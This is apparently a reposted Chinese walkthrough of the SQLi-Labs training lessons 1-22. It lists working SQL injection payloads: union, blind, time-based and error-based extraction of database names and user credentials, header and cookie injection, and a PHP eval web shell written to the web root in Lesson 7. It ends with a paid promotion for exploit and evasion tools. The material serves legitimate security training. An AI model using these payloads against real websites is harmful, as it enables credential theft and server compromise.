【SQLi_Labs】Basic Challenges

什么是人生？人生就是永不休止的奋斗！

Less-1

尝试添加’注入，发现报错

在这里插入图片描述

这里我们就可以直接发现报错的地方，直接将后面注释，然后使用

1’ order by 3%23

//得到列数为3

在这里插入图片描述

//这里用-1是为了查询一个不存在的id,好让第一句结果为空，直接显示第二句的结果

-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata%23

//得到数据库名

在这里插入图片描述

//得到表名

-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= ‘security’%23

如下

在这里插入图片描述

//得到列名

-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name= ‘users’%23

如下

在这里插入图片描述

//爆破得到数据

-1’ union select 1,username,password from users where id=3%23

如下

在这里插入图片描述

Less-2

在添加’之后，得到返回

在这里插入图片描述

可以得到这个sql语句其实并没有单引号，只是用数字进行查询，例如

select * from users where id=1

所以我们也可以跟上面一样，payloads:

-1 or 1=1%23

如下

在这里插入图片描述

Less-3

添加’之后，返回

在这里插入图片描述

可以得到大概的sql语句:

select * from users where id=(‘input’) LIMIT 0,1;

所以我们可以需要闭合)。

-1’) or 1=1%23

如下

在这里插入图片描述

Less-4

尝试’并未发现报错，尝试"发现报错

在这里插入图片描述

可以得到大概的sql语句

select * from users where id = (“input”) LIMIT 0,1;

所以payload:

-1") or 1=1 %23

如下

在这里插入图片描述

Less-5

尝试’发现报错

在这里插入图片描述

猜测sql语句为

select * from users where id=‘input’ LIMIT 0,1;

如果尝试之前的注入方法，会发现不再会返回我们注入的信息，如果注入成功的话，页面会返回You are in…，出错的话就不会返回这个字符串，所以这里我们可以进行盲注。

使用left()

例如我们可以使用1’ and left(version(),1)=3%23这个payload进行测试，截取version()得到的最左侧的字符判断是否为3，如果为3则正常返回You are in…，否则不返回。

在这里插入图片描述

所以我们可以利用这个一步一步爆破得到1’ and left(version(),1)=5%23。爆破区间可以确定在/[0-9.]/。

采用1’and length(database())=8%23对数据库名字长度进行爆破，确定数据库名字长度之后，我们可以使用database()来进行爆破数据库名，采用1’ and left(database(),1)>‘a’%23这个payload进行测试，原理跟上述一致，看返回即可，直到截取长度与数据库名字一致为止，这里效率比较高的就是采用二分法进行盲注。

在这里插入图片描述

使用substr()、ascii()

也可以采用substr()、ascii()函数进行尝试:

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 //截取数据库下第一个表的

在这里插入图片描述

第一个字符与80ascii值进行对比 找第二个字符只需要改成substr(‘xxx’,2,1)即可。 找第二个表改成limit 1,1

使用regexp()

1’ and 1=(select 1 from information_schema.columns where table_name=‘users’ and column_name regexp ‘^us[a-z]’ limit 0,1)%23 //users表中的列名是否有us**的列

在这里插入图片描述

使用ord()、mid()

1’ and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23 //cast(username AS CHAR)将username转换成字符串

在这里插入图片描述

//IFNULL(exp1,exp2)假如expr1不为NULL，则IFNULL()的返回值为expr1; 否则其返回值为expr2。IFNULL()的返回值是数字或是字符串，具体情况取决于其所使用的语境。 //ord将某个字符转换成ascii码，同ascii()

使用报错注入

Mysql报错注入原理分析(count()、rand()、group by)

超链接：https://www.cnblogs.com/xdans/p/5412468.html

1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

在这里插入图片描述

1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x%23

在这里插入图片描述

1’ union select (exp(~(select * FROM(SELECT USER())a))),2, 3–+ //exp报错

在这里插入图片描述

1’ union select (!(select * from (select user())x)- ~0),2,3–+ //bigint 溢出报错注入（这个单引号是微软拼音的中文单引号）

在这里插入图片描述

1’ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ //xpath报错注入

在这里插入图片描述

1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+ //xpath报错注入

在这里插入图片描述

1’ union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

在这里插入图片描述

使用延时注入

benchmark 是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。benchmark() 中带有两个参数，第一个是执行的次数，第二个是要执行的函数或者是表达式

1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

在这里插入图片描述

Less-6

没有回显，可以使用布尔盲注

1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100–+

在这里插入图片描述

可以发现>100有回显，小于就没有，也可以用报错注入…

这里就是把Less-5 中的’改成"就行了

Less-7

使用文件导出,通过第Less-5的报错注入出绝对路径

1’ and updatexml(1,concat(0x7e,(select @@datadir),0x7e),1) --+

在这里插入图片描述

1’))UNION SELECT 1,2,3 into outfile “c:\wamp\www\sqlli b\Less-7\uuu.txt”%23

在这里插入图片描述

上图中显示 sql 出错了，但是没有关系，我们可以在文件中看到 uuu.txt 已经生成了

在这里插入图片描述

1’))UNION SELECT 1,2,‘<?php @eval($_post["mima"])?>’ into outfile “c:\wamp\www\sqllib\Less-7\yijuhua.php”–+

在这里插入图片描述

可以在文件中看到一句话木马已经导入进去了

在这里插入图片描述

Less-8

可以使用时间盲注，也可以用 bool 盲注

1’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在这里插入图片描述

Less-9

同 Less-8 可以使用时间盲注

1’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在这里插入图片描述

Less-10

1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))–+

在这里插入图片描述

Less-11

报错注入，少一列就行了

1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

在这里插入图片描述

1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

在这里插入图片描述

Less-12

1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

在这里插入图片描述

1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

在这里插入图片描述

Less-13

1’) or 1=1#

在这里插入图片描述

成功登录，报错注入成功但是不回显，可以考虑盲注

1’) or ascii(substr((database()),1,1))>100#

在这里插入图片描述

Less-14

1" or 1=1#

在这里插入图片描述

成功登录，依然不能回显，尝试使用布尔盲注

1" or left(database(),1)=‘s’#

在这里插入图片描述

发现可以用updatexml进行报错注入

1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

在这里插入图片描述

Less-15

1’ or 1=1#

在这里插入图片描述

成功登录，布尔注入或者时间盲注均可行

1’ or left(database(),1)=‘s’#

在这里插入图片描述

admin’ and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

在这里插入图片描述

Less-16

1") or 1=1#

在这里插入图片描述

成功登录，布尔注入或者时间盲注均可行

1") or left(database(),1)=‘s’#

在这里插入图片描述

admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

在这里插入图片描述

Less-17

update注入，username过滤了很多，有password错误回显，考虑用报错注入

username=admin

password=1’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

在这里插入图片描述

Less-18

登录成功后，页面提示

在这里插入图片描述

那么有可能是 ip 或者 UA 注入，看了一下发现是个 Header 头注入，这里需要注意这是登录成功的条件下才能触发的，而且既然是insert注入，需要用’1’='1闭合后面的 sql 语句，否则就是语法错误了

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在这里插入图片描述

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1),“1”,“1”)#

在这里插入图片描述

Less-19

登录成功后提示

在这里插入图片描述

于是我们可以知道是在Referer应该有注入点，在 Referer 处同样用

’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在这里插入图片描述

可以注入

Less-20

cookie 注入，登录成功后修改 cookie 即可，注意删除post的参数

uname=’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and ‘1’='1

在这里插入图片描述

Less-21

登录成功后发现 cookie 加上了 base64

YOUR COOKIE : uname = YWRtaW4=

用上面的 payload 进行 base64 编码就行了，记得=要 urlencode

JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d

在这里插入图片描述

Less-22

同 21 ，单引号换成双引号即可

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d

本文poc、工具、源码加圈获取

1、本圈主要分享：攻防及SRC实战经验分享、代码审计漏洞详情及代码、最新漏洞详情及原创漏洞利用工具、免杀手法及工具代码、问题解答等。
2、圈主出身于深信服深蓝攻防实验室、新华三攻防实验室，连续5年多次获得国家级、省级、地市级、行业级护网攻击队前三名。
3、漏洞盒子总榜前五十名、补天总榜前五十名、去哪网SRC总榜前五十名。
4、获得50+CVE通用漏洞编号、100+CNVD通用漏洞证书。
5、CSDN、公众号、博客、先知社区、SecIN、FreeBuf粉丝量10000+。
6、前1-50名: 25¥，50-100名: 50¥，100-150名: 75¥，依次类推.....！

知识星球

img

纷传

img

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。

转载声明：儒道易行 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/web/64930.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

时间序列预测算法---LSTM

时间序列预测算法---LSTM

目录 一、前言1.1、深度学习时间序列一般是几维数据&#xff1f;每个维度的名字是什么&#xff1f;通常代表什么含义&#xff1f;1.2、为什么机器学习/深度学习算法无法处理时间序列数据?1.3、RNN(循环神经网络)处理时间序列数据的思路&#xff1f;1.4、RNN存在哪些问题? 二、…
阅读更多...
leetcode题目(3)

leetcode题目(3)

目录 1.加一 2.二进制求和 3.x的平方根 4.爬楼梯 5.颜色分类 6.二叉树的中序遍历 1.加一 https://leetcode.cn/problems/plus-one/ class Solution { public:vector<int> plusOne(vector<int>& digits) {int n digits.size();for(int i n -1;i>0;-…
阅读更多...
快速上手LangChain（三）构建检索增强生成（RAG）应用

快速上手LangChain（三）构建检索增强生成（RAG）应用

文章目录 快速上手LangChain（三）构建检索增强生成（RAG）应用概述索引阿里嵌入模型 Embedding检索和生成RAG应用（demo：根据我的博客主页，分析一下我的技术栈）快速上手LangChain（三）构建检索增强生成（RAG）应用 langchain官方文档：https://python.langchain.ac.cn/do…
阅读更多...
[cg] android studio 无法调试cpp问题

[cg] android studio 无法调试cpp问题

折腾了好久&#xff0c;native cpp库无法调试问题&#xff0c;原因 下面的Deploy 需要选Apk from app bundle!! 另外就是指定Debug type为Dual&#xff0c;并在Symbol Directories 指定native cpp的so路径 UE项目调试&#xff1a; 使用Android Studio调试虚幻引擎Android项目…
阅读更多...
【Windows】powershell 设置执行策略（Execution Policy）禁止了脚本的运行

【Windows】powershell 设置执行策略（Execution Policy）禁止了脚本的运行

报错信息&#xff1a; 无法加载文件 C:\Users\11726\Documents\WindowsPowerShell\profile.ps1&#xff0c;因为在此系统上禁止运行脚本。有关详细信息&#xff0c;请参 阅 https:/go.microsoft.com/fwlink/?LinkID135170 中的 about_Execution_Policies。 所在位置 行:1 字符…
阅读更多...
可编辑37页PPT |“数据湖”构建汽车集团数据中台

可编辑37页PPT |“数据湖”构建汽车集团数据中台

荐言分享&#xff1a;随着汽车行业智能化、网联化的快速发展&#xff0c;数据已成为车企经营决策、优化生产、整合供应链的核心资源。为了在激烈的市场竞争中占据先机&#xff0c;汽车集团亟需构建一个高效、可扩展的数据管理平台&#xff0c;以实现对海量数据的收集、存储、处…
阅读更多...
【快速实践】类激活图（CAM，class activation map）可视化

【快速实践】类激活图（CAM，class activation map）可视化

类激活图可视化&#xff1a;有助于了解一张图像的哪一部分让卷积神经网络做出了最终的分类决策 对输入图像生成类激活热力图类激活热力图是与特定输出类别相关的二维分数网格&#xff1a;对任何输入图像的每个位置都要进行计算&#xff0c;它表示每个位置对该类别的重要程度 我…
阅读更多...
ros2 py文件间函数调用

ros2 py文件间函数调用

文章目录 写在前面的话生成python工程包命令运行python函数命令python工程包的目录结构目录结构&#xff08;细节&#xff09; 报错 1&#xff08; no module name ***&#xff09;错误示意 截图终端输出解决方法 报错 2&#xff08; AttributeError: *** object has no attrib…
阅读更多...
Milvus×合邦电力:向量数据库如何提升15%电价预测精度

Milvus×合邦电力:向量数据库如何提升15%电价预测精度

01. 全球能源市场化改革下的合邦电力 在全球能源转型和市场化改革的大背景下&#xff0c;电力交易市场正逐渐成为优化资源配置、提升系统效率的关键平台。电力交易通过市场化手段&#xff0c;促进了电力资源的有效分配&#xff0c;为电力行业的可持续发展提供了动力。 合邦电力…
阅读更多...
OLED的显示

OLED的显示

一、I2C I2C时序&#xff1a;时钟线SCL高电平下&#xff1a;SDA由高变低代表启动信号&#xff0c;开始发送数据&#xff1b;SCL高电平时&#xff0c;数据稳定&#xff0c;数据可以被读走&#xff0c;开始进行读操作&#xff0c;SCL低电平时&#xff0c;数据发生改变&#xff1…
阅读更多...
VMware运维效率提升50%，RVTools管理更简单

VMware运维效率提升50%，RVTools管理更简单

RVTools 是一款专为 VMware 虚拟化环境量身打造的高效管理工具&#xff0c;基于 .NET 4.7.2 框架开发&#xff0c;并与 VMware vSphere Management SDK 8.0 和 CIS REST API 深度集成&#xff0c;能够全面呈现虚拟化平台的各项关键数据。该工具不仅能够详细列出虚拟机、CPU、内…
阅读更多...
python +t kinter绘制彩虹和云朵

python +t kinter绘制彩虹和云朵

python t kinter绘制彩虹和云朵 彩虹&#xff0c;简称虹&#xff0c;是气象中的一种光学现象&#xff0c;当太阳光照射到半空中的水滴&#xff0c;光线被折射及反射&#xff0c;在天空上形成拱形的七彩光谱&#xff0c;由外圈至内圈呈红、橙、黄、绿、蓝、靛、紫七种颜色。事实…
阅读更多...
Zabbix5.0版本（监控Nginx+PHP服务状态信息）

Zabbix5.0版本（监控Nginx+PHP服务状态信息）

目录 1.监控Nginx服务状态信息 &#xff08;1&#xff09;通过Nginx监控模块&#xff0c;监控Nginx的7种状态 &#xff08;2&#xff09;开启Nginx状态模块 &#xff08;3&#xff09;配置监控项 &#xff08;4&#xff09;创建模板 &#xff08;5&#xff09;用默认键值…
阅读更多...
Python入门教程 —— 字符串

Python入门教程 —— 字符串

字符串介绍 字符串可以理解为一段普通的文本内容，在python里，使用引号来表示一个字符串，不同的引号表示的效果会有区别。 字符串表示方式 a = "Im Tom" # 一对双引号 b = Tom said:"I am Tom" # 一对单引号c = Tom said:"I\m Tom" # 转义…
阅读更多...
AcWing练习题：差

AcWing练习题：差

读取四个整数 A,B,C,D&#xff0c;并计算 (AB−CD)的值。 输入格式 输入共四行&#xff0c;第一行包含整数 A&#xff0c;第二行包含整数 B&#xff0c;第三行包含整数 C&#xff0c;第四行包含整数 D。 输出格式 输出格式为 DIFERENCA X&#xff0c;其中 X 为 (AB−CD) 的…
阅读更多...
小程序添加购物车业务逻辑

小程序添加购物车业务逻辑

数据库设计 DTO设计 实现步骤 1 判断当前加入购物车中的的商品是否已经存在了 2 如果已经存在 只需要将数量加一 3 如果不存在 插入一条购物车数据 4 判断加到本次购物车的是菜品还是套餐 Impl代码实现 Service public class ShoppingCartServiceImpl implements Shoppin…
阅读更多...
如何在谷歌浏览器中使用自定义搜索快捷方式

如何在谷歌浏览器中使用自定义搜索快捷方式

在数字时代&#xff0c;浏览器已经成为我们日常生活中不可或缺的一部分。作为最常用的浏览器之一&#xff0c;谷歌浏览器凭借其简洁的界面和强大的功能深受用户喜爱。本文将详细介绍如何自定义谷歌浏览器的快捷工具栏&#xff0c;帮助你更高效地使用这一工具。 一、如何找到谷歌…
阅读更多...
Python 3 与 Python 2 的主要区别

Python 3 与 Python 2 的主要区别

文章目录 1. 语法与关键字print 函数整数除法 2. 字符串处理默认字符串类型字符串格式化 3. 输入函数4. 迭代器和生成器range 函数map, filter, zip 5. 标准库变化urllib 模块configparser 模块 6. 异常处理7. 移除的功能8. 其他重要改进数据库操作多线程与并发类型注解 9. 总结…
阅读更多...
关于IDE的相关知识之二【插件推荐】

关于IDE的相关知识之二【插件推荐】

成长路上不孤单&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【14后&#x1f60a;///计算机爱好者&#x1f60a;///持续分享所学&#x1f60a;///如有需要欢迎收藏转发///&#x1f60a;】 今日分享关于ide插件推荐的相关内容&#xff01…
阅读更多...
基于微信小程序的校园点餐平台的设计与实现（源码+SQL+LW+部署讲解）

基于微信小程序的校园点餐平台的设计与实现（源码+SQL+LW+部署讲解）

文章目录 摘 要1. 第1章 选题背景及研究意义1.1 选题背景1.2 研究意义1.3 论文结构安排 2. 第2章 相关开发技术2.1 前端技术2.2 后端技术2.3 数据库技术 3. 第3章 可行性及需求分析3.1 可行性分析3.2 系统需求分析 4. 第4章 系统概要设计4.1 系统功能模块设计4.2 数据库设计 5.…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023